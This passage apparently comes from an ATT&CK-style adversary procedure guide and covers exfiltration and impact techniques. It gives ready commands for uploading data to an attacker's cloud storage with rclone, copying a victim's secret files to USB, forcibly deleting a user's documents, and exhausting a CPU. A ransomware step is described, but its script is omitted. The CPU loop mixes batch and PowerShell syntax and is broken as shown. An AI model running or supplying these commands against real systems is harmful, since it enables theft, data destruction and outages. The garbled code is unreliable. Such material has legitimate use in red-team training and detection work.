Goal: Use Dropbox or Google Drive for exfiltration.

Procedure:

Step 1: Use rclone or cloud API to upload:

```
rclone copy data.zip remote:exfil-folder
```

Step 2: Monitor successful upload.

Outcome: Data stored on adversary's cloud storage.

Technique 3: T1052.001 – USB Exfiltration

Goal: Exfiltrate using physical media.

Procedure:

Step 1: Copy sensitive data:

```
xcopy C:\Users\victim\Documents\secrets\* E:\exfil\ /s /e
```

Step 2: Remove USB device.

Outcome: Data physically removed from network.

Tactic: Impact (TA0040)

The adversary's goal: Disrupt availability, integrity, or delivery of services and data.

1. T1485 – Data Destruction
2. T1499.001 – Endpoint Denial of Service (Sub-technique of T1499)
3. T1486 – Data Encrypted for Impact

Technique 1: T1485 – Data Destruction

Goal: Delete data permanently.

Procedure:

Step 1: Use PowerShell for recursive delete:

```
Remove-Item -Path "C:\Users\victim\Documents\*" -Recurse -Force
```

Step 2: Overwrite sectors (lab only).

Outcome: Irrecoverable data loss.

Technique 2: T1499.001 – Endpoint DoS

Goal: Crash system through resource exhaustion.

Procedure:

Step 1: Create CPU-consuming loop:

```
:loop
$null = 1..1000000 | % { [math]::Sqrt($_) }
goto loop
```

Outcome: System becomes unresponsive.

Technique 3: T1486 – Data Encrypted for Impact

Goal: Encrypt data to demand ransom.

Procedure:

Step 1: Use custom or open-source ransomware in a test VM.

Step 2: Encrypt files using AES:

```
# Script omitted for safety
```

Outcome: Data becomes inaccessible without decryption key.